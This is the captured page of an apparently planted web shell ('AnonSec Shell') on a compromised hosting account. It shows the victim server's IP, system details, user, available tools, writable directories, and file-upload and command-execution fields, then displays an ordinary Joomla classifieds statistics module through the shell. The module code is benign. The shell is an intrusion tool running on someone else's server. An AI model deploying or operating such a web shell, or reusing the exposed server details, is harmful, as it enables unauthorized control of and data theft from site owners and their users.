AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/lyon/modules/mod_djclassifieds_stats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/lyon/modules/mod_djclassifieds_stats/mod_djclassifieds_stats.php
<?php
/**
 * @package DJ-Classifieds
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined ('_JEXEC') or die('Restricted access');

require_once (dirname(__FILE__).'/helper.php');
require_once(JPATH_ROOT.'/administrator/components/com_djclassifieds/lib/djtheme.php');

$app = JFactory::getApplication();

if($app->input->get('option') != 'com_djclassifieds'){
	DJClassifiedsTheme::includeCSSfiles();
	DJClassifiedsTheme::loadLanguage();
}
	
$stats = array();
if($params->get('ads_total','1')){
	$stats['ads_total'] = modDjClassifiedsStats::getAdverts(0);
}
if($params->get('ads_active','1')){
	$stats['ads_active'] = modDjClassifiedsStats::getAdverts(1);
}
if($params->get('ads_added_today','1')){
	$date_from = date("Y-m-d").' 00:00:00';
	$stats['ads_today'] = modDjClassifiedsStats::getAdverts(0,$date_from);		
}
if($params->get('ads_added_1','1')){
	$date_from = date("Y-m-d G:i:s",mktime(date("G"), date("i"), date("s"), date("m")  , date("d")-1, date("Y")));
	$stats['ads_1d'] = modDjClassifiedsStats::getAdverts(0,$date_from);
}
if($params->get('ads_added_week','1')){
	$date_from = date("Y-m-d",strtotime('monday this week')).' 00:00:00';
	$stats['ads_week'] = modDjClassifiedsStats::getAdverts(0,$date_from);
}
if($params->get('ads_added_7','1')){
	$date_from = date("Y-m-d G:i:s",mktime(date("G"), date("i"), date("s"), date("m")  , date("d")-7, date("Y")));
	$stats['ads_7d'] = modDjClassifiedsStats::getAdverts(0,$date_from);
}
if($params->get('ads_added_month','1')){
	$date_from = date("Y-m").'-01 00:00:00'; 
	$stats['ads_month'] = modDjClassifiedsStats::getAdverts(0,$date_from);
}
if($params->get('ads_added_30','1')){
	$date_from = date("Y-m-d G:i:s",mktime(date("G"), date("i"), date("s"), date("m")-1 , date("d"), date("Y")));
	$stats['ads_30d'] = modDjClassifiedsStats::getAdverts(0,$date_from);
}
if($params->get('ads_added_year','1')){
	$date_from = date("Y").'-01-01 00:00:00';
	$stats['ads_year'] = modDjClassifiedsStats::getAdverts(0,$date_from);
}
if($params->get('ads_added_365','1')){
	$date_from = date("Y-m-d G:i:s",mktime(date("G"), date("i"), date("s"), date("m") , date("d"), date("Y")-1));
	$stats['ads_365d'] = modDjClassifiedsStats::getAdverts(0,$date_from);
}
if($params->get('auctions_count','1')){
	$stats['auctions_c'] = modDjClassifiedsStats::getAuctions();
}
if($params->get('cat_count','1')){
	$stats['categories_c'] = modDjClassifiedsStats::getCategories();
}

require JModuleHelper::getLayoutPath('mod_djclassifieds_stats');

Anon7 - 2022
AnonSec Team